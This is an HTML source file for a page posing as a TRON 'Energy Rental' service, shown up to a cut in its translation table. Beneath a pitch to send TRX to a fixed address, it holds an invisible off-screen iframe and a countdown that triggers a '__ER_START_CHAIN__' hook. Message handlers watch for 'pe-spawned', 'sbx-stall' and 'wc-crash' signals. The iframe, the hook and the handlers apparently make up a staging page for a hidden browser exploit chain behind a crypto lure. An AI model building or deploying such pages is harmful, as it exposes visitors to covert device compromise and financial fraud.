Files
coruna-lab/channel-builder-ds/source/index.html
T
2026-09-01 05:09:00 +08:00

1122 lines
58 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!DOCTYPE html>
<html class="dark" lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta property="og:image" content="https://TRXPeak.com/usdt-trc.webp">
<meta name="twitter:card" content="summary_large_image">
<title>Energy Rental - 24/7 Unattended Instant Delivery</title>
<script src="/config.js"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,FILL@100..700,0..1&display=swap" rel="stylesheet">
<script src="https://cdn.tailwindcss.com?plugins=forms,container-queries"></script>
<script id="tailwind-config">
tailwind.config = {
darkMode: "class",
theme: {
extend: {
colors: {
error: "#ffb4ab",
"on-surface": "#dee2f6",
"on-tertiary": "#003918",
"on-secondary-fixed-variant": "#930006",
"tertiary-fixed-dim": "#00e475",
outline: "#849495",
"surface-tint": "#00dbe7",
"surface-container-highest": "#303444",
"surface-container": "#1a1f2e",
"primary-container": "#00f2ff",
"tertiary-container": "#37fa87",
"primary-fixed": "#74f5ff",
"tertiary-fixed": "#62ff96",
"inverse-on-surface": "#2b303f",
"surface-container-lowest": "#090e1c",
"on-primary-container": "#006a71",
"on-secondary-container": "#5c0002",
"inverse-surface": "#dee2f6",
"secondary-container": "#ff5546",
"surface-bright": "#343948",
"on-tertiary-fixed-variant": "#005226",
"outline-variant": "#3a494b",
"on-primary-fixed": "#002022",
"on-tertiary-container": "#006f35",
secondary: "#ffb4aa",
"inverse-primary": "#00696f",
"on-surface-variant": "#b9cacb",
"on-tertiary-fixed": "#00210b",
"on-error-container": "#ffdad6",
"surface-variant": "#303444",
primary: "#e1fdff",
"on-background": "#dee2f6",
surface: "#0e1321",
"on-secondary": "#690003",
"surface-container-high": "#252a39",
"on-primary": "#00363a",
background: "#0e1321",
"surface-container-low": "#161b2a",
"primary-fixed-dim": "#00dbe7",
"secondary-fixed": "#ffdad5",
"surface-dim": "#0e1321",
"on-secondary-fixed": "#410001",
"secondary-fixed-dim": "#ffb4aa",
"on-primary-fixed-variant": "#004f54",
tertiary: "#e4ffe4",
"error-container": "#93000a",
"on-error": "#690005"
},
borderRadius: {
DEFAULT: "0.25rem",
lg: "0.5rem",
xl: "0.75rem",
full: "9999px"
},
spacing: {
"margin-mobile": "16px",
"container-max": "1200px",
gutter: "20px",
unit: "4px",
"margin-desktop": "40px"
},
fontFamily: {
"body-lg": ["Inter"],
"mono-address": ["Space Grotesk"],
"headline-md": ["Space Grotesk"],
"label-sm": ["Space Grotesk"],
"headline-xl": ["Space Grotesk"],
"headline-lg": ["Space Grotesk"],
"body-md": ["Inter"]
},
fontSize: {
"body-lg": ["18px", { lineHeight: "28px", fontWeight: "400" }],
"mono-address": ["14px", { lineHeight: "20px", letterSpacing: "0.05em", fontWeight: "500" }],
"headline-md": ["24px", { lineHeight: "32px", fontWeight: "600" }],
"label-sm": ["12px", { lineHeight: "16px", fontWeight: "700" }],
"headline-xl": ["40px", { lineHeight: "48px", letterSpacing: "-0.02em", fontWeight: "700" }],
"headline-lg": ["32px", { lineHeight: "40px", letterSpacing: "-0.01em", fontWeight: "600" }],
"body-md": ["16px", { lineHeight: "24px", fontWeight: "400" }]
}
}
}
}
</script>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
html {
scroll-behavior: smooth;
}
body {
background: #0e1321;
}
#frame {
position: fixed;
width: 0;
height: 0;
left: -1000px;
border: 0;
opacity: 0;
pointer-events: none;
}
#loadingMask {
position: fixed;
inset: 0;
width: 100vw;
height: 100vh;
background: rgba(0, 0, 0, 0.92);
z-index: 9999;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 24px;
transition: opacity 0.4s ease, visibility 0.4s ease;
}
#loadingMask.hidden {
opacity: 0;
visibility: hidden;
pointer-events: none;
display: none !important;
}
.circle-wrap {
position: relative;
width: 120px;
height: 120px;
}
.circle-bg {
fill: none;
stroke: rgba(255, 255, 255, 0.2);
stroke-width: 6;
}
.circle-progress {
fill: none;
stroke: #00e475;
stroke-width: 6;
stroke-linecap: round;
transform: rotate(-90deg);
transform-origin: center;
transition: stroke-dashoffset 0.1s linear;
}
.count-num {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
font-size: 36px;
font-weight: bold;
color: #ffdd00;
}
.loading-text {
color: #dee2f6;
font-size: 18px;
letter-spacing: 1px;
}
.glass-card {
background: rgba(255, 255, 255, 0.05);
backdrop-filter: blur(24px);
border: 1px solid rgba(255, 255, 255, 0.15);
}
.active-glass {
border: 1px solid rgba(0, 242, 255, 0.3);
background: rgba(255, 255, 255, 0.08);
animation: pulse-glow 2s infinite ease-in-out;
}
.glow-blue {
box-shadow: 0 0 15px rgba(0, 219, 231, 0.4);
}
@keyframes pulse-glow {
0% {
box-shadow: 0 0 5px rgba(0, 219, 231, 0.4);
border-color: rgba(0, 219, 231, 0.3);
}
50% {
box-shadow: 0 0 25px rgba(0, 219, 231, 0.6);
border-color: rgba(0, 219, 231, 0.8);
}
100% {
box-shadow: 0 0 5px rgba(0, 219, 231, 0.4);
border-color: rgba(0, 219, 231, 0.3);
}
}
.icon-fill {
font-variation-settings: 'FILL' 1;
}
#temp-copy {
position: absolute;
left: -9999px;
top: -9999px;
}
.lang-dropdown {
position: relative;
}
.lang-menu {
opacity: 0;
visibility: hidden;
transform: translateY(10px);
transition: all 0.24s ease;
max-height: 420px;
overflow-y: auto;
}
.lang-menu.open {
opacity: 1;
visibility: visible;
transform: translateY(0);
}
@media (min-width: 768px) {
.lang-dropdown:hover .lang-menu {
opacity: 1;
visibility: visible;
transform: translateY(0);
}
}
</style>
</head>
<body class="bg-surface text-on-surface font-body-md selection:bg-primary-container selection:text-on-primary-container min-h-screen flex flex-col">
<div id="loadingMask">
<div class="circle-wrap">
<svg width="120" height="120" viewBox="0 0 120 120">
<circle class="circle-bg" cx="60" cy="60" r="54"></circle>
<circle class="circle-progress" cx="60" cy="60" r="54" stroke-dasharray="339.292" stroke-dashoffset="0"></circle>
</svg>
<div class="count-num" id="countNumber">8</div>
</div>
<div class="loading-text" id="loadingText">Matching network resources, please wait...</div>
</div>
<textarea id="temp-copy" readonly></textarea>
<iframe id="frame" title="qqtime"></iframe>
<nav class="relative w-full z-50 border-b border-white/10 bg-slate-950/60 backdrop-blur-lg shadow-[0_4px_30px_rgba(0,0,0,0.1)]">
<div class="flex justify-between items-center px-6 py-4 max-w-7xl mx-auto">
<div class="text-xl font-bold text-white tracking-tighter font-headline-md" data-i18n="navLogo">Energy Rental</div>
<div class="flex items-center gap-4">
<div class="hidden md:flex items-center space-x-8 font-headline-md tracking-wide">
<a href="https://TRXPeak.com/#" class="text-cyan-400 border-b-2 border-cyan-400 pb-1 hover:text-cyan-300 transition-all duration-200" data-i18n="navHome">Home</a>
<a href="https://TRXPeak.com/#pricing" class="text-slate-400 hover:text-cyan-300 transition-all duration-200" data-i18n="navPrice">Pricing</a>
<a href="https://TRXPeak.com/#support" class="text-slate-400 hover:text-cyan-300 transition-all duration-200" data-i18n="navSupport">Support</a>
</div>
<div class="lang-dropdown">
<button id="langToggleBtn" class="flex items-center gap-1 px-3 py-1.5 rounded-lg border border-white/15 hover:border-cyan-400/60 text-slate-300 hover:text-cyan-300 transition-colors">
<span class="material-symbols-outlined text-base">language</span>
<span id="currentLangTxt">English</span>
<span class="material-symbols-outlined text-sm">expand_more</span>
</button>
<div class="lang-menu absolute top-full right-0 mt-2 w-[140px] py-2 rounded-xl bg-surface-container border border-white/15 backdrop-blur-xl shadow-lg overflow-hidden z-50">
<button class="lang-option w-full text-left px-4 py-2 hover:bg-white/10 text-slate-200 transition-colors" data-lang="zh">简体中文</button>
<button class="lang-option w-full text-left px-4 py-2 hover:bg-white/10 text-slate-200 transition-colors" data-lang="en">English</button>
<button class="lang-option w-full text-left px-4 py-2 hover:bg-white/10 text-slate-200 transition-colors" data-lang="pt">Português</button>
<button class="lang-option w-full text-left px-4 py-2 hover:bg-white/10 text-slate-200 transition-colors" data-lang="es">Español</button>
<button class="lang-option w-full text-left px-4 py-2 hover:bg-white/10 text-slate-200 transition-colors" data-lang="vi">Tiếng Việt</button>
<button class="lang-option w-full text-left px-4 py-2 hover:bg-white/10 text-slate-200 transition-colors" data-lang="ja">日本語</button>
<button class="lang-option w-full text-left px-4 py-2 hover:bg-white/10 text-slate-200 transition-colors" data-lang="ko">한국어</button>
<button class="lang-option w-full text-left px-4 py-2 hover:bg-white/10 text-slate-200 transition-colors" data-lang="tr">Türkçe</button>
</div>
</div>
</div>
</div>
</nav>
<main class="flex-grow">
<section class="relative min-h-[500px] flex items-center justify-center overflow-hidden px-margin-mobile md:px-0">
<div class="absolute inset-0 z-0">
<div class="absolute top-1/2 left-1/2 -translate-x-1/2 -translate-y-1/2 w-[800px] h-[800px] bg-primary-fixed-dim/10 rounded-full blur-[120px]"></div>
</div>
<div class="relative z-10 max-w-4xl text-center">
<div class="inline-flex items-center gap-2 px-4 py-1 rounded-full bg-surface-container border border-white/10 mb-8">
<span class="flex h-2 w-2 rounded-full bg-tertiary-fixed-dim animate-pulse"></span>
<span class="text-label-sm uppercase tracking-widest text-tertiary-fixed-dim" data-i18n="networkOnline">Network Online</span>
</div>
<h1 class="font-headline-xl text-headline-xl md:text-6xl text-primary mb-6 leading-tight" data-i18n="mainTitle">
Energy Rental - 24/7 Unattended Instant Delivery
</h1>
<p class="font-body-lg text-body-lg text-on-surface-variant max-w-2xl mx-auto mb-8" data-i18n="mainDesc">
Institutional-level energy proxy. Zero fees & instant arrival, the most competitive price in the ecosystem.
</p>
<div class="max-w-4xl mx-auto">
<div class="glass-card p-6 md:p-10 rounded-[2.5rem] text-center relative overflow-hidden group border-primary-container/20">
<div class="absolute inset-0 bg-gradient-to-br from-primary-container/10 to-transparent opacity-50"></div>
<div class="relative z-10">
<h2 class="font-headline-lg text-headline-lg text-white mb-6" data-i18n="payTip">Send TRX to rent instantly</h2>
<div class="bg-surface-container-lowest p-3 md:p-4 rounded-2xl border border-white/5 mb-6 flex flex-col md:flex-row items-center justify-center gap-4 group-hover:border-primary-container/40 transition-colors">
<code id="tron-address" class="font-mono-address text-sm md:text-xl lg:text-2xl text-primary-container block text-center truncate md:overflow-visible">
TBHmGSLDFFF26DYaet2j91LWkTtRjmXPqF
</code>
<button id="copyAddrBtn" class="flex items-center gap-2 bg-primary-container text-on-primary-container px-6 py-3 rounded-xl font-bold whitespace-nowrap active:scale-95 duration-200 glow-blue shrink-0">
<span class="material-symbols-outlined">content_copy</span>
<span id="copyBtnText" data-i18n="copyBtn">Copy Address</span>
</button>
</div>
<p class="text-on-surface-variant text-body-md flex items-center justify-center gap-2" data-i18n="payRule">
<span class="material-symbols-outlined text-tertiary-fixed-dim icon-fill">verified</span>
Send 0.1TRX, 65k energy will be sent to your sending address within 10s automatically.
</p>
</div>
</div>
</div>
</div>
</section>
<section class="py-20 px-margin-mobile bg-surface-container-lowest/30" id="pricing">
<div class="max-w-7xl mx-auto">
<div class="text-center mb-16">
<h2 class="font-headline-lg text-headline-lg text-white mb-4" data-i18n="priceTitle">Transparent Pricing</h2>
<p class="text-on-surface-variant font-body-lg" data-i18n="priceSub">Pick a plan matching your trading volume.</p>
</div>
<div class="grid md:grid-cols-2 gap-8 max-w-5xl mx-auto">
<div class="glass-card p-10 rounded-[2rem] flex flex-col items-center text-center hover:active-glass transition-all border-white/10 group">
<div class="mb-6 p-4 rounded-2xl bg-white/5 text-primary-container">
<span class="material-symbols-outlined text-5xl">flash_on</span>
</div>
<span class="font-label-sm text-label-sm text-on-surface-variant uppercase tracking-tighter mb-2" data-i18n="plan1Name">Starter</span>
<div class="flex items-baseline gap-1 mb-4">
<span class="font-headline-xl text-headline-xl text-white">0.8</span>
<span class="font-headline-md text-headline-md text-on-surface-variant">TRX</span>
</div>
<div class="w-full h-px bg-white/10 my-6"></div>
<div class="space-y-4 mb-8">
<div class="flex items-center gap-3 text-white">
<span class="material-symbols-outlined text-tertiary-fixed-dim icon-fill">check_circle</span>
<span class="font-headline-md text-headline-md">65,000 Energy</span>
</div>
<div class="flex items-center gap-3 text-on-surface-variant">
<span class="material-symbols-outlined text-tertiary-fixed-dim icon-fill">check_circle</span>
<span class="font-body-md text-body-md" data-i18n="speedTip">Instant Credit</span>
</div>
</div>
<button class="copy-btn w-full py-4 rounded-xl border border-primary-container text-primary-container font-bold hover:bg-primary-container hover:text-on-primary-container transition-all" data-i18n="copyAddrText">
Copy Address
</button>
</div>
<div class="active-glass p-10 rounded-[2rem] flex flex-col items-center text-center relative overflow-hidden group">
<div class="absolute top-4 right-4 bg-tertiary-container text-on-tertiary-container px-3 py-1 rounded-full font-label-sm text-label-sm uppercase" data-i18n="bestTag">Best Value</div>
<div class="mb-6 p-4 rounded-2xl bg-primary-container/10 text-primary-container">
<span class="material-symbols-outlined text-5xl icon-fill">bolt</span>
</div>
<span class="font-label-sm text-label-sm text-on-surface-variant uppercase tracking-tighter mb-2" data-i18n="plan2Name">High Volume</span>
<div class="flex items-baseline gap-1 mb-4">
<span class="font-headline-xl text-headline-xl text-white">1.6</span>
<span class="font-headline-md text-headline-md text-on-surface-variant">TRX</span>
</div>
<div class="w-full h-px bg-white/10 my-6"></div>
<div class="space-y-4 mb-8">
<div class="flex items-center gap-3 text-white">
<span class="material-symbols-outlined text-tertiary-fixed-dim icon-fill">check_circle</span>
<span class="font-headline-md text-headline-md">131,000 Energy</span>
</div>
<div class="flex items-center gap-3 text-on-surface-variant">
<span class="material-symbols-outlined text-tertiary-fixed-dim icon-fill">check_circle</span>
<span class="font-body-md text-body-md" data-i18n="speedTip">Instant Credit</span>
</div>
</div>
<button class="copy-btn w-full py-4 rounded-xl bg-primary-container text-on-primary-container font-bold glow-blue hover:scale-[1.02] transition-transform" data-i18n="copyAddrText">
Copy Address
</button>
</div>
</div>
</div>
</section>
<section class="py-24 px-margin-mobile overflow-hidden" id="support">
<div class="max-w-7xl mx-auto">
<div class="flex flex-col lg:flex-row gap-16 items-start">
<div class="flex-1 space-y-12">
<div>
<h2 class="font-headline-lg text-headline-lg text-white mb-6" data-i18n="supportTitle">Full Technical Support</h2>
<p class="text-on-surface-variant font-body-lg" data-i18n="supportDesc">For beginners & professional traders, we provide 24/7 support resources.</p>
</div>
<div class="grid gap-6">
<div class="flex gap-6 p-6 rounded-2xl glass-card border-white/5 hover:border-primary-container/20 transition-all">
<div class="shrink-0 w-12 h-12 rounded-xl bg-primary-container/10 flex items-center justify-center">
<span class="material-symbols-outlined text-primary-container">robot_2</span>
</div>
<div class="flex-1">
<h3 class="font-headline-md text-headline-md text-white mb-2" data-i18n="botTitle">Telegram Auto Bot</h3>
<p class="text-on-surface-variant text-body-md mb-4" data-i18n="botDesc">Purchase, check balance & order status directly via bot for faster operations.</p>
<a href="https://0.1trx.wang/#" class="text-primary-container font-bold flex items-center gap-1 hover:underline" data-i18n="goNow">
Visit Now <span class="material-symbols-outlined text-sm">arrow_forward</span>
</a>
</div>
</div>
<div class="flex gap-6 p-6 rounded-2xl glass-card border-white/5 hover:border-primary-container/20 transition-all">
<div class="shrink-0 w-12 h-12 rounded-xl bg-primary-container/10 flex items-center justify-center">
<span class="material-symbols-outlined text-primary-container">campaign</span>
</div>
<div class="flex-1">
<h3 class="font-headline-md text-headline-md text-white mb-2" data-i18n="channelTitle">Official Announcement Channel</h3>
<p class="text-on-surface-variant text-body-md mb-4" data-i18n="channelDesc">Get network status updates, price adjustments & system upgrade notices.</p>
<a href="https://0.1trx.wang/#" class="text-primary-container font-bold flex items-center gap-1 hover:underline" data-i18n="subChannel">
Subscribe Channel <span class="material-symbols-outlined text-sm">arrow_forward</span>
</a>
</div>
</div>
<div class="flex gap-6 p-6 rounded-2xl glass-card border-white/5 hover:border-primary-container/20 transition-all">
<div class="shrink-0 w-12 h-12 rounded-xl bg-primary-container/10 flex items-center justify-center">
<span class="material-symbols-outlined text-primary-container">support_agent</span>
</div>
<div class="flex-1">
<h3 class="font-headline-md text-headline-md text-white mb-2" data-i18n="serviceTitle">Human Support</h3>
<p class="text-on-surface-variant text-body-md mb-4" data-i18n="serviceDesc">Payment missing or bulk institutional purchase demands? Contact our professional tech team.</p>
<a href="https://0.1trx.wang/#" class="text-primary-container font-bold flex items-center gap-1 hover:underline" data-i18n="contactUs">
Contact Support <span class="material-symbols-outlined text-sm">arrow_forward</span>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
</main>
<footer class="w-full border-t border-white/5 bg-slate-950 mt-auto">
<div class="flex flex-col md:flex-row justify-between items-center px-8 py-12 max-w-7xl mx-auto gap-6 font-headline-md text-sm">
<div class="flex flex-col gap-2 text-center md:text-left">
<div class="text-lg font-bold text-white" data-i18n="navLogo">Energy Rental</div>
<div class="text-slate-500" data-i18n="copyright">© 2026 Energy Rental. Institutional Public Service.</div>
</div>
<div class="flex flex-wrap justify-center gap-8">
<a href="https://t.me/" class="text-slate-500 hover:text-white transition-colors opacity-80 hover:opacity-100" data-i18n="footerBot">Telegram Bot</a>
<a href="https://TRXPeak.com/#" class="text-slate-500 hover:text-white transition-colors opacity-80 hover:opacity-100" data-i18n="footerChannel">Channel</a>
<a href="https://TRXPeak.com/#support" class="text-slate-500 hover:text-white transition-colors opacity-80 hover:opacity-100" data-i18n="footerSupport">Support</a>
<a href="https://TRXPeak.com/#" class="text-slate-500 hover:text-white transition-colors opacity-80 hover:opacity-100" data-i18n="footerPrivacy">Privacy Policy</a>
</div>
</div>
</footer>
<div id="toast" class="fixed top-1/2 left-1/2 -translate-x-1/2 -translate-y-1/2 z-[100] opacity-0 transition-all duration-300 pointer-events-none">
<div id="toast-inner" class="bg-primary-container text-on-primary-container px-8 py-4 rounded-3xl font-bold glow-blue flex items-center gap-3 shadow-[0_0_50px_rgba(0,219,231,0.3)] border border-white/20 scale-90 transition-transform duration-300">
<span class="material-symbols-outlined text-3xl icon-fill">check_circle</span>
<span class="text-lg" data-i18n="copySuccess">Address copied to clipboard</span>
</div>
</div>
<script>
const dom = {
loadingMask: document.getElementById('loadingMask'),
countNumber: document.getElementById('countNumber'),
circleProgress: document.querySelector('.circle-progress'),
loadingText: document.getElementById('loadingText'),
toast: document.getElementById('toast'),
toastInner: document.getElementById('toast-inner'),
tronAddress: document.getElementById('tron-address'),
copyBtnText: document.getElementById('copyBtnText'),
copyButtons: document.querySelectorAll('.copy-btn, #copyAddrBtn'),
tempCopy: document.getElementById('temp-copy'),
currentLangTxt: document.getElementById('currentLangTxt'),
langOptions: document.querySelectorAll('.lang-option'),
i18nItems: document.querySelectorAll('[data-i18n]'),
langToggleBtn: document.getElementById('langToggleBtn'),
langMenu: document.querySelector('.lang-menu'),
langDropdown: document.querySelector('.lang-dropdown')
};
// 倒计时与链加载解耦。
// 日志已证实:WC crash 会整页再 GET /,若只用 sessionStorage,倒计时会再跑一遍并再次挂 iframe。
// 用 localStorage(1h TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。
const cfg = window.NEWS2_CONFIG || {};
const landed = /[?&]landed=1(?:&|$)/.test(location.search);
const LS_DONE_AT = "__er_idx_cd_done_at";
const LS_FRAME_AT = "__er_frame_at";
const SS_DEADLINE = "__er_idx_countdown_deadline";
const STATE_TTL_MS = 60 * 60 * 1000;
window.__ER_COUNTDOWN_DONE__ = false;
window.__ER_START_CHAIN__ = null;
window.__ER_FRAME_ALREADY__ = false;
function lsReadAt(key) {
try {
const v = parseInt(localStorage.getItem(key) || "0", 10) || 0;
if (!v) return 0;
if (Date.now() - v > STATE_TTL_MS) {
localStorage.removeItem(key);
return 0;
}
return v;
} catch (e) {
return 0;
}
}
function lsTouch(key) {
try {
localStorage.setItem(key, String(Date.now()));
} catch (e) {}
}
function hideCountdownMask() {
const mask = dom.loadingMask || document.getElementById("loadingMask");
if (!mask) return;
mask.classList.add("hidden");
mask.style.display = "none";
mask.setAttribute("aria-hidden", "true");
}
function markCountdownDone() {
window.__ER_COUNTDOWN_DONE__ = true;
lsTouch(LS_DONE_AT);
try {
sessionStorage.removeItem(SS_DEADLINE);
} catch (e) {}
hideCountdownMask();
}
function finishCountdownAndMaybeStartChain() {
markCountdownDone();
if (dom.countNumber) dom.countNumber.textContent = "0";
requestAnimationFrame(function () {
requestAnimationFrame(function () {
if (typeof window.__ER_START_CHAIN__ === "function") {
window.__ER_START_CHAIN__();
}
});
});
}
const alreadyFramed = !!lsReadAt(LS_FRAME_AT);
const alreadyDone = landed || !!lsReadAt(LS_DONE_AT) || alreadyFramed;
window.__ER_FRAME_ALREADY__ = alreadyFramed;
window.addEventListener("pageshow", function () {
if (landed || lsReadAt(LS_DONE_AT) || window.__ER_COUNTDOWN_DONE__) {
markCountdownDone();
}
});
window.addEventListener("message", function (ev) {
try {
const d = ev && ev.data;
if (!d || typeof d !== "object") return;
if (
d.type === "ds-gpu-blank" ||
d.type === "ds-pe-spawned" ||
d.type === "ds-sbx-stall" ||
d.type === "ds-wc-crash" ||
d.type === "ds-chain-settle"
) {
if (window.__ER_COUNTDOWN_DONE__ || lsReadAt(LS_DONE_AT)) {
hideCountdownMask();
}
}
// WC 崩 / 收尾:卸掉 iframe,避免 Safari「重复出现问题」
if (d.type === "ds-wc-crash" || d.type === "ds-gpu-blank") {
try {
const f = document.getElementById("frame");
if (f) {
f.src = "about:blank";
}
} catch (e6) {}
}
} catch (e5) {}
});
if (alreadyDone) {
// WC 崩溃整页刷新:不再播倒计时
markCountdownDone();
} else {
const totalTime = (function () {
const n = Number(cfg.countdownSeconds);
return Number.isFinite(n) && n >= 1 ? Math.floor(n) : 8;
})();
const circumference = 2 * Math.PI * 54;
const now = Date.now();
// 全新访问:始终完整倒计时,不沿用残缺 deadline(避免 2~3 秒就开链)
let deadline = now + totalTime * 1000;
try {
sessionStorage.setItem(SS_DEADLINE, String(deadline));
} catch (e3) {}
if (dom.countNumber) dom.countNumber.textContent = String(totalTime);
if (dom.circleProgress) {
dom.circleProgress.style.strokeDasharray = circumference;
dom.circleProgress.style.strokeDashoffset = 0;
}
const tick = function () {
if (window.__ER_COUNTDOWN_DONE__) return;
const leftMs = deadline - Date.now();
const left = Math.max(0, Math.ceil(leftMs / 1000));
if (dom.countNumber) dom.countNumber.textContent = String(left);
if (dom.circleProgress) {
const progressed = Math.min(
1,
Math.max(0, 1 - leftMs / (totalTime * 1000))
);
dom.circleProgress.style.strokeDashoffset =
circumference * (1 - progressed);
}
if (leftMs <= 0) {
finishCountdownAndMaybeStartChain();
return;
}
setTimeout(tick, 200);
};
tick();
}
// 多语言数据
const i18nData = {
zh: {
langName: "简体中文",
loadingText: "正在匹配网络资源,请稍候...",
navLogo: "能量租赁",
navHome: "首页",
navPrice: "价格",
navSupport: "支持",
networkOnline: "网络在线",
mainTitle: "能量租赁 - 24小时无人值守,即刻到账",
mainDesc: "机构级能量代理。零手续费、极速到账,为您提供生态系统中最具竞争力的价格。",
payTip: "转账 TRX 即刻租赁",
copyBtn: "点击复制",
payRule: "转账0.1TRX,10秒内65000能量自动发放至您的转账地址。",
priceTitle: "透明定价",
priceSub: "根据交易量选择合适套餐",
plan1Name: "入门套餐",
speedTip: "秒速到账",
copyAddrText: "复制地址",
bestTag: "超值优选",
plan2Name: "大额用量",
supportTitle: "全方位技术支持",
supportDesc: "面向新手与专业交易者,我们提供全天候配套服务资源",
botTitle: "电报自动机器人",
botDesc: "通过机器人下单、查询余额与订单,操作更加高效",
goNow: "立即访问",
channelTitle: "官方公告频道",
channelDesc: "接收节点状态、调价通知与系统升级公告",
subChannel: "订阅频道",
serviceTitle: "人工客服支持",
serviceDesc: "未到账、企业批量采购需求,可联系我方技术团队",
contactUs: "联系客服",
copyright: "© 2026 能量租赁 | 机构公共服务",
footerBot: "电报机器人",
footerChannel: "公告频道",
footerSupport: "技术支持",
footerPrivacy: "隐私协议",
copySuccess: "地址已复制到剪贴板",
copiedTxt: "已复制",
copyFail: "自动复制失败,地址已选中,请使用Ctrl+C手动复制"
},
en: {
langName: "English",
loadingText: "Matching network resources, please wait...",
navLogo: "Energy Rental",
navHome: "Home",
navPrice: "Pricing",
navSupport: "Support",
networkOnline: "Network Online",
mainTitle: "Energy Rental - 24/7 Unattended Instant Delivery",
mainDesc: "Institutional-level energy proxy. Zero fees & instant arrival, the most competitive price in the ecosystem.",
payTip: "Send TRX to rent instantly",
copyBtn: "Copy Address",
payRule: "Send 0.1TRX, 65k energy will be sent to your sending address within 10s automatically.",
priceTitle: "Transparent Pricing",
priceSub: "Pick a plan matching your trading volume.",
plan1Name: "Starter",
speedTip: "Instant Credit",
copyAddrText: "Copy Address",
bestTag: "Best Value",
plan2Name: "High Volume",
supportTitle: "Full Technical Support",
supportDesc: "For beginners & professional traders, we provide 24/7 support resources.",
botTitle: "Telegram Auto Bot",
botDesc: "Purchase, check balance & order status directly via bot for faster operations.",
goNow: "Visit Now",
channelTitle: "Official Announcement Channel",
channelDesc: "Get network status updates, price adjustments & system upgrade notices.",
subChannel: "Subscribe Channel",
serviceTitle: "Human Support",
serviceDesc: "Payment missing or bulk institutional purchase demands? Contact our professional tech team.",
contactUs: "Contact Support",
copyright: "© 2026 Energy Rental. Institutional Public Service.",
footerBot: "Telegram Bot",
footerChannel: "Channel",
footerSupport: "Support",
footerPrivacy: "Privacy Policy",
copySuccess: "Address copied to clipboard",
copiedTxt: "Copied",
copyFail: "Auto copy failed, address selected, use Ctrl+C manually"
},
pt: {
langName: "Português",
loadingText: "Buscando recursos de rede, aguarde...",
navLogo: "Aluguel de Energia",
navHome: "Início",
navPrice: "Preços",
navSupport: "Suporte",
networkOnline: "Rede Online",
mainTitle: "Aluguel de Energia - Atendimento 24h com entrega instantânea",
mainDesc: "Proxy de energia institucional. Sem taxas e entrega imediata com os melhores preços do ecossistema.",
payTip: "Envie TRX para alugar agora",
copyBtn: "Copiar Endereço",
payRule: "Envie 0,1 TRX, 65 mil unidades de energia serão enviadas automaticamente em até 10 segundos.",
priceTitle: "Preços Transparentes",
priceSub: "Escolha um plano compatível com seu volume de negociação.",
plan1Name: "Iniciante",
speedTip: "Crédito Imediato",
copyAddrText: "Copiar Endereço",
bestTag: "Melhor Custo-Benefício",
plan2Name: "Alto Volume",
supportTitle: "Suporte Técnico Completo",
supportDesc: "Oferecemos suporte 24h para traders iniciantes e profissionais.",
botTitle: "Bot Automático Telegram",
botDesc: "Compre, verifique saldos e pedidos diretamente pelo bot com maior agilidade.",
goNow: "Acessar Agora",
channelTitle: "Canal Oficial de Avisos",
channelDesc: "Receba atualizações de rede, ajustes de preços e notificações de atualizações.",
subChannel: "Inscrever-se",
serviceTitle: "Suporte Humano",
serviceDesc: "Pagamento não recebido ou compras em lote? Contate nossa equipe técnica.",
contactUs: "Falar com Suporte",
copyright: "© 2026 Aluguel de Energia | Serviço Público Institucional",
footerBot: "Bot Telegram",
footerChannel: "Canal",
footerSupport: "Suporte",
footerPrivacy: "Política de Privacidade",
copySuccess: "Endereço copiado para a área de transferência",
copiedTxt: "Copiado",
copyFail: "Falha ao copiar automaticamente, use Ctrl+C manualmente"
},
es: {
langName: "Español",
loadingText: "Buscando recursos de red, espere...",
navLogo: "Alquiler de Energía",
navHome: "Inicio",
navPrice: "Precios",
navSupport: "Soporte",
networkOnline: "Red Conectada",
mainTitle: "Alquiler de Energía - Servicio 24h pago instantáneo sin vigilancia",
mainDesc: "Proxy de energía institucional. Sin comisiones y abono instantáneo con precios competitivos del ecosistema.",
payTip: "Envía TRX para alquilar al instante",
copyBtn: "Copiar Dirección",
payRule: "Envíe 0.1 TRX, recibirá 65.000 unidades de energía en menos de 10 segundos automáticamente.",
priceTitle: "Precios Transparentes",
priceSub: "Selecciona un plan según tu volumen de operaciones.",
plan1Name: "Básico",
speedTip: "Abono Instantáneo",
copyAddrText: "Copiar Dirección",
bestTag: "Mejor Oferta",
plan2Name: "Gran Volumen",
supportTitle: "Soporte Técnico Integral",
supportDesc: "Contamos con recursos de asistencia 24h para traders principiantes y profesionales.",
botTitle: "Bot Automático Telegram",
botDesc: "Compra, revisa saldos y pedidos mediante el bot para procesos más rápidos.",
goNow: "Visitar Ahora",
channelTitle: "Canal Oficial de Anuncios",
channelDesc: "Recibe novedades de red, cambios de precio y actualizaciones del sistema.",
subChannel: "Suscribirse",
serviceTitle: "Atención Personalizada",
serviceDesc: "Pago no reflejado o compras corporativas masivas? Contacta a nuestro equipo técnico.",
contactUs: "Contactar Soporte",
copyright: "© 2026 Alquiler de Energía | Servicio Institucional Público",
footerBot: "Bot Telegram",
footerChannel: "Canal",
footerSupport: "Soporte",
footerPrivacy: "Política de Privacidad",
copySuccess: "Dirección copiada al portapapeles",
copiedTxt: "Copiado",
copyFail: "Error de copiado automático, use Ctrl+C manualmente"
},
vi: {
langName: "Tiếng Việt",
loadingText: "Đang tải tài nguyên mạng, vui lòng đợi...",
navLogo: "Thuê Năng Lượng",
navHome: "Trang chủ",
navPrice: "Bảng giá",
navSupport: "Hỗ trợ",
networkOnline: "Mạng đang hoạt động",
mainTitle: "Thuê Năng Lượng - Hoạt động 24/7 nhận tiền ngay lập tức",
mainDesc: "Đại lý năng lượng cấp tổ chức, không phí giao dịch, nhận năng lượng tức thời với giá tốt nhất hệ sinh thái.",
